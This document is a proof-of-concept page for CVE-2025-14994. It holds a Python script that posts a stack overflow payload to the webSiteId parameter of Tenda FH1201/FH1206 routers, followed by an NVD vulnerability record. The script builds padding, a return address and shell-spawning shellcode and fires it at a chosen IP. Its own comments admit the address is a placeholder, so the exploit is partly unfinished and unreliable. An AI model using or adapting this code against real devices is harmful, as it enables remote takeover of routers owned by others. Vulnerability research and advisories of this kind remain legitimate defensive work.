CVE-2025-14994

# CVE-2025-14994 PoC - Tenda FH1201/FH1206 Stack Buffer Overflow # Target: /goform/webtypelibrary endpoint # Vulnerability: Stack-based buffer overflow via webSiteId parameter import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1' target_port = 80 url = f'http://{target_ip}:{target_port}/goform/webtypelibrary' # Create overflow payload with NOP sled and shellcode # Stack pivot + reverse shell or custom payload payload_size = 1000 # Adjust based on actual buffer size # Padding to reach return address padding = b'A' * 500 # Overwrite return address with address of NOP sled or system() # Example: Point to gadget that executes system() return_addr = b'\x08\x20\x40\x00' # Example address, needs adjustment # Shellcode for execve("/bin/sh", NULL, NULL) shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Construct full payload exploit = padding + return_addr + shellcode # Send malicious request data = { 'webSiteId': exploit } try: response = requests.post(url, data=data, timeout=5) print(f'[+] Request sent to {url}') print(f'[+] Payload size: {len(exploit)} bytes') print(f'[+] Response status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}')

{"cve": {"id": "CVE-2025-14994", "sourceIdentifier": "[email protected]", "published": "2025-12-21T08:15:49.767", "lastModified": "2025-12-31T15:40:06.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Tenda FH1201 and FH1206 1.2.0.14(408)/1.2.0.8(8155). This impacts the function strcat of the file /goform/webtypelibrary of the component HTTP Request Handler. This manipulation of the argument webSiteId causes stack-based buffer overflow. The attack is possible to be carried out remotely. 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